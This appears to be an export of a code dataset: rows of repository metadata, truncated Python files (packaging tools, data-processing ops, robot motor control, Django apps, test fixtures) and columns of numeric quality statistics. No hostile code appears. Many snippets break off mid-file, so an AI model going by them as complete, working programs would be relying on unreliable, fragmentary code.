print('Cen... | 23.894737 | 55 | 0.603524 | 67 | 454 | 4.089552 | 0.626866 | 0.043796 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.101828 | 0.156388 | 454 | 19 | 56 | 23.894737 | 0.613577 | 0.213656 | 0 | 0 | 0 | 0 | 0.253644 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.416667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
84f7f0583f87ce8d8fa213091c414701dd8af42c | 9,694 | py | Python | conda_lock/conda_lock.py | noahp/conda-lock | cd519f62aead1c4eb40a7ac4ba002fca25ef6e3a | [
"MIT"
] | null | null | null | conda_lock/conda_lock.py | noahp/conda-lock | cd519f62aead1c4eb40a7ac4ba002fca25ef6e3a | [
"MIT"
] | null | null | null | conda_lock/conda_lock.py | noahp/conda-lock | cd519f62aead1c4eb40a7ac4ba002fca25ef6e3a | [
"MIT"
] | null | null | null | """
Somewhat hacky solution to create conda lock files.
"""
import atexit
import json
import logging
import os
import pathlib
import platform
import shutil
import stat
import subprocess
import sys
import tempfile
from typing import Dict, List, MutableSequence, Optional, Set, Tuple, Union
import requests
import yaml
... | 30.484277 | 87 | 0.598205 | 1,187 | 9,694 | 4.700927 | 0.251896 | 0.021505 | 0.016308 | 0.013441 | 0.160573 | 0.086559 | 0.04552 | 0.02509 | 0 | 0 | 0 | 0.00588 | 0.280689 | 9,694 | 317 | 88 | 30.580442 | 0.79435 | 0.057768 | 0 | 0.132 | 0 | 0 | 0.197626 | 0.041328 | 0 | 0 | 0 | 0.006309 | 0.004 | 1 | 0.044 | false | 0 | 0.064 | 0 | 0.152 | 0.04 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84f83345d1f3fb087e99dcd107ecadefc33a7378 | 2,447 | py | Python | nvtabular/ops/minmax.py | EvenOldridge/NVTabular | 85333ae754c0512f7b213a4e98117a1501500dda | [
"Apache-2.0"
] | null | null | null | nvtabular/ops/minmax.py | EvenOldridge/NVTabular | 85333ae754c0512f7b213a4e98117a1501500dda | [
"Apache-2.0"
] | null | null | null | nvtabular/ops/minmax.py | EvenOldridge/NVTabular | 85333ae754c0512f7b213a4e98117a1501500dda | [
"Apache-2.0"
] | null | null | null | #
# Copyright (c) 2020, NVIDIA CORPORATION.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... | 33.520548 | 93 | 0.644871 | 329 | 2,447 | 4.653495 | 0.367781 | 0.052907 | 0.028739 | 0.047028 | 0.194644 | 0.169824 | 0 | 0 | 0 | 0 | 0 | 0.004322 | 0.243564 | 2,447 | 72 | 94 | 33.986111 | 0.822798 | 0.331835 | 0 | 0 | 0 | 0 | 0.082435 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.162162 | false | 0 | 0.054054 | 0.027027 | 0.351351 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84f88b05010a0d7cf4cbf357ee3a42b3fba0850b | 4,915 | py | Python | cli_command_execution.py | IBM-Cloud/Ray-Commands | 9078af9fb367d451ee86f1200507f96b6f01d539 | [
"Apache-2.0"
] | 2 | 2022-02-19T14:22:47.000Z | 2022-02-22T17:19:33.000Z | cli_command_execution.py | IBM-Cloud/Ray-Commands | 9078af9fb367d451ee86f1200507f96b6f01d539 | [
"Apache-2.0"
] | null | null | null | cli_command_execution.py | IBM-Cloud/Ray-Commands | 9078af9fb367d451ee86f1200507f96b6f01d539 | [
"Apache-2.0"
] | null | null | null | import os
import subprocess
import ray
import time
import sys
import humanfriendly
import pandas as pd
url_file = open('final_commands.txt','r')
lines = url_file.readlines()
from subprocess import PIPE, Popen
@ray.remote(num_cpus=0.2)
def do_it(filen, input_endpoint, output_endpoint, input_access_key, input_secret_... | 49.15 | 247 | 0.6706 | 685 | 4,915 | 4.576642 | 0.224818 | 0.009569 | 0.010526 | 0.010207 | 0.376396 | 0.289952 | 0.239872 | 0.171611 | 0.072727 | 0.045933 | 0 | 0.033848 | 0.182503 | 4,915 | 99 | 248 | 49.646465 | 0.746391 | 0.165005 | 0 | 0.078947 | 0 | 0.026316 | 0.124389 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0 | 0.105263 | 0 | 0.184211 | 0.092105 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84f939c67c0b1fb6b0b4b98b5ce191bb5f2e9777 | 3,673 | py | Python | src/satproc/console/generalize.py | dymaxionlabs/satproc | 002c945eb378619659e85dddb73477b253899630 | [
"Apache-2.0"
] | 22 | 2021-05-19T13:45:55.000Z | 2022-02-17T22:40:28.000Z | src/satproc/console/generalize.py | dymaxionlabs/satproc | 002c945eb378619659e85dddb73477b253899630 | [
"Apache-2.0"
] | 35 | 2021-06-28T17:36:21.000Z | 2022-03-08T19:54:35.000Z | src/satproc/console/generalize.py | dymaxionlabs/satproc | 002c945eb378619659e85dddb73477b253899630 | [
"Apache-2.0"
] | 6 | 2021-05-20T22:49:37.000Z | 2022-03-31T14:30:32.000Z | # -*- coding: utf-8 -*-
import argparse
import logging
import os
import sys
from glob import glob
from satproc import __version__
from satproc.postprocess.generalize import generalize
__author__ = "Damián Silvani"
__copyright__ = "Dymaxion Labs"
_logger = logging.getLogger(__name__)
def parse_args(args):
"""Pa... | 24.817568 | 87 | 0.613395 | 399 | 3,673 | 5.468672 | 0.390977 | 0.045371 | 0.085701 | 0.016499 | 0.078827 | 0.032997 | 0.032997 | 0 | 0 | 0 | 0 | 0.001848 | 0.263545 | 3,673 | 147 | 88 | 24.986395 | 0.804806 | 0.108631 | 0 | 0.132075 | 0 | 0 | 0.235496 | 0.017155 | 0 | 0 | 0 | 0 | 0 | 1 | 0.037736 | false | 0.009434 | 0.066038 | 0 | 0.113208 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84f95fb1a9783e21e2199ef7dbdb747eb20c4617 | 4,932 | py | Python | piri/mapper.py | ryanzhoucoupa/piri | de8ed240492d836305c94decbede3933ea982db0 | [
"MIT"
] | 23 | 2020-08-25T13:24:22.000Z | 2022-03-09T14:15:23.000Z | piri/mapper.py | ryanzhoucoupa/piri | de8ed240492d836305c94decbede3933ea982db0 | [
"MIT"
] | 85 | 2020-08-25T12:04:16.000Z | 2021-10-04T08:08:14.000Z | piri/mapper.py | ryanzhoucoupa/piri | de8ed240492d836305c94decbede3933ea982db0 | [
"MIT"
] | 16 | 2020-10-06T10:26:37.000Z | 2021-11-18T00:07:39.000Z | import decimal
from typing import Any, Dict, List, Optional, Union
from returns.curry import partial
from returns.maybe import maybe
from returns.pipeline import is_successful
from returns.result import safe
from piri.collection_handlers import iterable_data_handler
from piri.constants import (
ARRAY,
ATTRIBU... | 25.035533 | 79 | 0.672749 | 609 | 4,932 | 5.284072 | 0.229885 | 0.053139 | 0.068365 | 0.031075 | 0.251398 | 0.175886 | 0.088254 | 0.059664 | 0.059664 | 0.059664 | 0 | 0.002693 | 0.247161 | 4,932 | 196 | 80 | 25.163265 | 0.863991 | 0.302311 | 0 | 0.254902 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.068627 | false | 0 | 0.088235 | 0 | 0.245098 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84fa6491306c7f4088496f353dbf7cbc5ef44491 | 2,955 | py | Python | digby/motors.py | gilbertmike/digby | cb0f762fb703cf0e8b0f0ac7387e8b89f67eaf8e | [
"MIT"
] | null | null | null | digby/motors.py | gilbertmike/digby | cb0f762fb703cf0e8b0f0ac7387e8b89f67eaf8e | [
"MIT"
] | null | null | null | digby/motors.py | gilbertmike/digby | cb0f762fb703cf0e8b0f0ac7387e8b89f67eaf8e | [
"MIT"
] | null | null | null | from gpiozero import OutputDevice, PWMOutputDevice
class MotorController:
def __init__(self, front_left_pwm, front_left_dir, front_right_pwm,
front_right_dir, back_left_pwm, back_left_dir, back_right_pwm,
back_right_dir, max_speed=0.5, reverse_fl=False,
reverse_b... | 35.60241 | 79 | 0.535702 | 370 | 2,955 | 4.010811 | 0.164865 | 0.06469 | 0.091644 | 0.099057 | 0.239218 | 0.076819 | 0 | 0 | 0 | 0 | 0 | 0.006997 | 0.371235 | 2,955 | 82 | 80 | 36.036585 | 0.791712 | 0.091709 | 0 | 0.109375 | 0 | 0 | 0.019787 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0.015625 | 0.015625 | 0.109375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84fb8930b6c5b3170e2aacdf327ea9bfa1e892aa | 828 | py | Python | jcasts/episodes/emails.py | danjac/jcasts | 04f5ef1f536d51962c0433d092817c0153acb6af | [
"MIT"
] | 13 | 2021-09-17T07:41:00.000Z | 2022-02-10T10:00:48.000Z | jcasts/episodes/emails.py | danjac/jcasts | 04f5ef1f536d51962c0433d092817c0153acb6af | [
"MIT"
] | 167 | 2021-07-17T09:41:38.000Z | 2021-08-31T06:03:34.000Z | jcasts/episodes/emails.py | danjac/jcasts | 04f5ef1f536d51962c0433d092817c0153acb6af | [
"MIT"
] | null | null | null | from __future__ import annotations
from datetime import timedelta
from django_rq import job
from jcasts.episodes.models import Episode
from jcasts.shared.typedefs import User
from jcasts.users.emails import send_user_notification_email
@job("mail")
def send_new_episodes_email(user: User, since: timedelta) -> None:... | 25.875 | 88 | 0.683575 | 102 | 828 | 5.372549 | 0.519608 | 0.100365 | 0.072993 | 0.091241 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003082 | 0.216184 | 828 | 31 | 89 | 26.709677 | 0.841294 | 0.068841 | 0 | 0 | 0 | 0 | 0.2 | 0.084967 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045455 | false | 0 | 0.272727 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84fcf8179ffbbe188cded099879ea1fb89a61d64 | 1,439 | py | Python | src/pricehist/outputs/ledger.py | chrisberkhout/pricehist | a54da85a6fae15e2f771e8612aed089407ec5c22 | [
"MIT"
] | 4 | 2021-09-15T03:23:10.000Z | 2022-02-08T23:31:10.000Z | src/pricehist/outputs/ledger.py | chrisberkhout/pricehist | a54da85a6fae15e2f771e8612aed089407ec5c22 | [
"MIT"
] | null | null | null | src/pricehist/outputs/ledger.py | chrisberkhout/pricehist | a54da85a6fae15e2f771e8612aed089407ec5c22 | [
"MIT"
] | null | null | null | """
Ledger output
Supports both `Ledger <https://www.ledger-cli.org/>`_ and
`hledger <https://hledger.org/>`_ plain text accounting formats.
By default the output should be valid for Ledger, but can be customized for
hledger or other variants via formatting options. Invalid variants are
possible, so the user should b... | 31.282609 | 88 | 0.707436 | 192 | 1,439 | 5.244792 | 0.427083 | 0.023833 | 0.041708 | 0.050645 | 0.160874 | 0.141013 | 0.0715 | 0.0715 | 0.0715 | 0.0715 | 0 | 0.005102 | 0.182766 | 1,439 | 45 | 89 | 31.977778 | 0.85119 | 0.599027 | 0 | 0 | 0 | 0 | 0.091549 | 0.044014 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.153846 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84fcfab32088c0c654dbeb7d0fe1fb3a7f8528f9 | 450 | py | Python | services/bill_service.py | Priyeshpandey/splitwise | db1af921a1ebf3f4034a6672cd3a2515aaeeecd5 | [
"MIT"
] | null | null | null | services/bill_service.py | Priyeshpandey/splitwise | db1af921a1ebf3f4034a6672cd3a2515aaeeecd5 | [
"MIT"
] | null | null | null | services/bill_service.py | Priyeshpandey/splitwise | db1af921a1ebf3f4034a6672cd3a2515aaeeecd5 | [
"MIT"
] | null | null | null | from services.bill_service_interface import BillServiceInterface
from models.bill import Bill
class BillService(BillServiceInterface):
billDetails = {}
def addBill(self, id, groupId, amount, contri, paid):
bill = Bill()
bill.setId(id)
bill.setGroupId(groupId)
bill.setAmount(amou... | 28.125 | 64 | 0.673333 | 48 | 450 | 6.1875 | 0.520833 | 0.053872 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.24 | 450 | 15 | 65 | 30 | 0.868421 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.153846 | 0 | 0.461538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84fd01e9dbec8c9bea817cd81494437461c66ffc | 13,843 | py | Python | templates/s3_redundant/s3_redundant.py | threefoldtech/0-templates | 4106bb3d4d1de305557bf4748a7d77ffeb302abb | [
"Apache-2.0"
] | 1 | 2019-01-20T17:50:53.000Z | 2019-01-20T17:50:53.000Z | templates/s3_redundant/s3_redundant.py | threefoldtech/0-templates | 4106bb3d4d1de305557bf4748a7d77ffeb302abb | [
"Apache-2.0"
] | 192 | 2018-08-01T13:31:16.000Z | 2020-05-29T09:41:06.000Z | templates/s3_redundant/s3_redundant.py | threefoldtech/0-templates | 4106bb3d4d1de305557bf4748a7d77ffeb302abb | [
"Apache-2.0"
] | 1 | 2018-08-09T12:30:52.000Z | 2018-08-09T12:30:52.000Z | from jumpscale import j
from zerorobot.service_collection import ServiceNotFoundError
from zerorobot.template.base import TemplateBase
from zerorobot.template.decorator import timeout
from zerorobot.template.state import (SERVICE_STATE_ERROR, SERVICE_STATE_OK,
SERVICE_STATE_SKIPPED... | 40.241279 | 115 | 0.617568 | 1,574 | 13,843 | 5.221728 | 0.132783 | 0.042828 | 0.036136 | 0.036379 | 0.499331 | 0.403334 | 0.346393 | 0.325587 | 0.29079 | 0.258182 | 0 | 0.013904 | 0.272629 | 13,843 | 343 | 116 | 40.358601 | 0.802364 | 0.057213 | 0 | 0.391144 | 0 | 0 | 0.156079 | 0.009803 | 0 | 0 | 0 | 0 | 0 | 1 | 0.081181 | false | 0.321033 | 0.01845 | 0 | 0.166052 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
84fdd9af6928df02db0ff0754cd7c640c4ac0ead | 2,030 | py | Python | netbuilder/__init__.py | zinph/NetBuilder | 273f845db4cb821b4cf0a4c03770a0b909fbb560 | [
"MIT"
] | 1 | 2021-02-03T11:23:55.000Z | 2021-02-03T11:23:55.000Z | netbuilder/__init__.py | zinph/NetBuilder | 273f845db4cb821b4cf0a4c03770a0b909fbb560 | [
"MIT"
] | null | null | null | netbuilder/__init__.py | zinph/NetBuilder | 273f845db4cb821b4cf0a4c03770a0b909fbb560 | [
"MIT"
] | null | null | null | """Create fully connected neural networks.
Examples
-------
To use the package, it has to be imported first like:
>>> import netbuilder
or
>>> import netbuilder as nb
With the following lines, you can create a neural network for
a binary gate:
>>> net = nb.Network()
>>> net.init(topo... | 29.42029 | 81 | 0.691626 | 308 | 2,030 | 4.493506 | 0.386364 | 0.065029 | 0.046243 | 0.021676 | 0.093931 | 0.040462 | 0.040462 | 0 | 0 | 0 | 0 | 0.022886 | 0.225123 | 2,030 | 68 | 82 | 29.852941 | 0.856961 | 0.8133 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
1700ec1ccbfd51e5db12aff09d0aa481235902bf | 3,716 | py | Python | userprofile/views.py | carlinhus/steam-api | 69b8a0fc1d09bfc17fcaafeb5ca4ce00929c9738 | [
"MIT"
] | null | null | null | userprofile/views.py | carlinhus/steam-api | 69b8a0fc1d09bfc17fcaafeb5ca4ce00929c9738 | [
"MIT"
] | null | null | null | userprofile/views.py | carlinhus/steam-api | 69b8a0fc1d09bfc17fcaafeb5ca4ce00929c9738 | [
"MIT"
] | null | null | null | from django.shortcuts import render, render_to_response
from django.template import RequestContext
import urllib2
from django.http import HttpResponse, JsonResponse, HttpResponseRedirect
import json
from django.contrib.auth.decorators import login_required
from userprofile.forms import NewUserForm
from userprofile.mode... | 35.390476 | 166 | 0.684876 | 418 | 3,716 | 6.007177 | 0.358852 | 0.01593 | 0.019116 | 0.014337 | 0.325767 | 0.280366 | 0.280366 | 0.280366 | 0.280366 | 0.239745 | 0 | 0.007866 | 0.213132 | 3,716 | 105 | 167 | 35.390476 | 0.850889 | 0.406351 | 0 | 0.045455 | 0 | 0 | 0.092879 | 0.013416 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.227273 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1701456722d2f336d3cdea0f8c3d767de89aa227 | 1,943 | py | Python | setup.py | pyecore/pyecoregen | 01988422afb7e534eff66d6ba3472a97e087ad4a | [
"BSD-3-Clause"
] | 18 | 2017-05-20T08:08:33.000Z | 2022-03-09T17:22:34.000Z | setup.py | pyecore/pyecoregen | 01988422afb7e534eff66d6ba3472a97e087ad4a | [
"BSD-3-Clause"
] | 30 | 2017-05-27T11:07:11.000Z | 2022-03-23T22:38:20.000Z | setup.py | pyecore/pyecoregen | 01988422afb7e534eff66d6ba3472a97e087ad4a | [
"BSD-3-Clause"
] | 5 | 2017-09-17T12:33:53.000Z | 2019-09-26T12:21:46.000Z | #!/usr/bin/env python
import sys
from setuptools import setup, find_packages
from setuptools.command.test import test as TestCommand
if sys.version_info < (3, 5):
sys.exit('Sorry, Python < 3.5 is not supported')
class PyTest(TestCommand):
user_options = [('pytest-args=', 'a', "Arguments to pass to py.test")... | 31.852459 | 95 | 0.646423 | 221 | 1,943 | 5.574661 | 0.547511 | 0.048701 | 0.045455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007874 | 0.215646 | 1,943 | 60 | 96 | 32.383333 | 0.800525 | 0.010293 | 0 | 0 | 0 | 0 | 0.363684 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0.020833 | 0.083333 | 0 | 0.1875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
17036a282cb2f46b504f52189d2bf26ddabdebf9 | 2,230 | py | Python | tests/conftest.py | emaballarin/stockroom | e2e098c4731a4ad0d4952a99c972cb4816bb1abe | [
"Apache-2.0"
] | 67 | 2019-12-02T17:18:07.000Z | 2022-03-03T08:32:19.000Z | tests/conftest.py | emaballarin/stockroom | e2e098c4731a4ad0d4952a99c972cb4816bb1abe | [
"Apache-2.0"
] | 27 | 2019-12-11T07:53:41.000Z | 2021-03-30T00:58:32.000Z | tests/conftest.py | emaballarin/stockroom | e2e098c4731a4ad0d4952a99c972cb4816bb1abe | [
"Apache-2.0"
] | 8 | 2019-12-02T15:22:49.000Z | 2022-03-03T08:32:20.000Z | import inspect
import shutil
from pathlib import Path
import hangar
import numpy as np
import pytest
import torchvision_mocks as torchvision
from stockroom import StockRoom, keeper
from torchvision import datasets
@pytest.fixture()
def managed_tmpdir(monkeypatch, tmp_path):
monkeypatch.setitem(hangar.constants.L... | 28.227848 | 78 | 0.727354 | 295 | 2,230 | 5.298305 | 0.338983 | 0.080614 | 0.06142 | 0.102367 | 0.357006 | 0.357006 | 0.357006 | 0.207933 | 0.140115 | 0.082534 | 0 | 0.024987 | 0.156502 | 2,230 | 78 | 79 | 28.589744 | 0.805954 | 0 | 0 | 0.253968 | 0 | 0 | 0.0713 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.142857 | 0.015873 | 0.269841 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
17042212e5fa71f184651ff1dc382b9b9ed9f1a9 | 1,278 | py | Python | research/cv/MaskedFaceRecognition/config.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/MaskedFaceRecognition/config.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/MaskedFaceRecognition/config.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 31.170732 | 78 | 0.643975 | 177 | 1,278 | 4.525424 | 0.700565 | 0.074906 | 0.032459 | 0.03995 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.056731 | 0.186228 | 1,278 | 40 | 79 | 31.95 | 0.713462 | 0.547731 | 0 | 0 | 0 | 0 | 0.414722 | 0.037702 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.045455 | 0 | 0.045455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
17053b0c1f9eaf2fd0b24a87a69a088f2ca7cbcd | 200 | py | Python | agronet_be/AgronetApp/models/departament.py | lauraC4MP0/Prueba-github | 291fc266fc0a8efc80ab36dd6eb4bff3e98e7c1f | [
"MIT"
] | 1 | 2021-10-06T00:39:08.000Z | 2021-10-06T00:39:08.000Z | agronet_be/AgronetApp/models/departament.py | lauraC4MP0/Prueba-github | 291fc266fc0a8efc80ab36dd6eb4bff3e98e7c1f | [
"MIT"
] | null | null | null | agronet_be/AgronetApp/models/departament.py | lauraC4MP0/Prueba-github | 291fc266fc0a8efc80ab36dd6eb4bff3e98e7c1f | [
"MIT"
] | 1 | 2021-10-03T13:39:31.000Z | 2021-10-03T13:39:31.000Z | from django.db import models
class Departament(models.Model):
id_departament = models.IntegerField(primary_key=True)
name_departament = models.CharField('Departamento', max_length = 15)
| 33.333333 | 73 | 0.765 | 24 | 200 | 6.208333 | 0.791667 | 0.342282 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011696 | 0.145 | 200 | 5 | 74 | 40 | 0.859649 | 0 | 0 | 0 | 0 | 0 | 0.061538 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
17061bab51406bbd5e3c868633cb54d4c996d97c | 321 | py | Python | backend/source/similaridade.py | AlissonSantos17/Sistema-de-Recomendacao | d276d14bea65bcf721a39f774fd9038ec775a063 | [
"Apache-2.0"
] | null | null | null | backend/source/similaridade.py | AlissonSantos17/Sistema-de-Recomendacao | d276d14bea65bcf721a39f774fd9038ec775a063 | [
"Apache-2.0"
] | null | null | null | backend/source/similaridade.py | AlissonSantos17/Sistema-de-Recomendacao | d276d14bea65bcf721a39f774fd9038ec775a063 | [
"Apache-2.0"
] | null | null | null | # !/usr/bin/env python3
# -*- coding: utf-8 -*-
from recomendacao import distanciaEuclidiana
def getSimilares(base, usuario):
similaridade = [
(distanciaEuclidiana(base, usuario, outro), outro)
for outro in base if outro != usuario
]
similaridade.sort()
similaridade.reverse()
return similaridade[0:26... | 26.75 | 54 | 0.713396 | 36 | 321 | 6.361111 | 0.694444 | 0.09607 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018657 | 0.165109 | 321 | 12 | 55 | 26.75 | 0.835821 | 0.133956 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.111111 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
170797e30318807565bf34dfbae672930f4e5609 | 439 | py | Python | backend/migrations/0011_prefix_occurrences.py | ad-freiburg/qleverUI | 105ef23447eb691a5da8a4c92be3b4150aac72c6 | [
"Apache-2.0"
] | 4 | 2021-10-09T20:36:33.000Z | 2022-02-12T09:19:17.000Z | backend/migrations/0011_prefix_occurrences.py | ad-freiburg/qleverUI | 105ef23447eb691a5da8a4c92be3b4150aac72c6 | [
"Apache-2.0"
] | 29 | 2019-09-01T08:48:12.000Z | 2021-06-01T15:57:24.000Z | backend/migrations/0011_prefix_occurrences.py | ad-freiburg/qleverUI | 105ef23447eb691a5da8a4c92be3b4150aac72c6 | [
"Apache-2.0"
] | 4 | 2019-01-04T19:44:55.000Z | 2020-12-05T03:40:42.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2017-10-28 11:01
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('backend', '0010_prefix'),
]
operations = [
migrations.AddField(
